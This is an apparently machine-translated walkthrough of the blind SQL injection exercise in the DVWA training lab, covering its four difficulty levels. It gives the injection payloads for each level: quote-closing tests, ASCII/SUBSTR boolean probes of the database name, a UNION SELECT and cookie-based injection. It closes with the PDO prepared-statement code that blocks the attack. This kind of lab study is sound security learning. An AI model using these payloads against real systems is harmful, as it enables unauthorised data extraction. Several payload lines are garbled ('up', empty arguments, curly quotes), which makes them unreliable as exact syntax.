"DVWA" "SQL Injection (Blind)" SQL Blind low Medium high impossible

1. low.php of primary articles

Add single quotation marks to submit

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1 '&submit=Submit#

Output User ID not found

 
select first_name from users where user_id=1;              #Success Return admin
select first_name from users where user_id="1‘";            #Success Return admin
select first_name from users where user_id=‘1‘‘;            #Fail
select first_name from users where user_id=(1‘);            #Fail
select first_name from users where user_id=((1‘));           #Fail
select first_name from users where user_id=((‘1‘‘));          #Fail

The description is not enclosed in double quotes, try to find it is single quote closed

http://localhost/DVWA-master/vulnerabilities/sqli_blind/ ? id=1 '%23&Submit=Submit#

Constructs the following injection, if the database name the first character is ' d ', that is, the ASCII code is 100, the page is normal

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1 ' and ASCII (SUBSTR (Database (), 1, 1)) =100%23  &submit=Submit#

Otherwise the page is not normal

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1 ' and ASCII (SUBSTR (Database (), up)) =99%23 &submit=Submit#

2. Intermediate article medium.php

POST Submission

Id=0 Union Select 1,2#&submit=Submit

Still shows existence, in fact id=0 does not exist, but the union select returns the result, the program simply determines whether the result set is empty

As with the primary, guess the character

id=1 and ASCII (SUBSTR (Database (),)) =100#&submit=Submit

3. Advanced Article high.php

Unlike the previous chapter, this time it was written in a cookie

http://localhost/DVWA-master/vulnerabilities/sqli_blind/cookie-input.php

Refresh

http://localhost/DVWA-master/vulnerabilities/sqli_blind/

Use Editthiscookie to view cookies

You can directly inject it directly on this page

0 ' Union Select 1,2#

Refresh Page

4. Impossible article impossible.php

See the source code to know that using PDO, unable to inject

   if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ );
        $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT );
        $data->execute();

"DVWA" "SQL Injection (Blind)" SQL Blind low Medium high impossible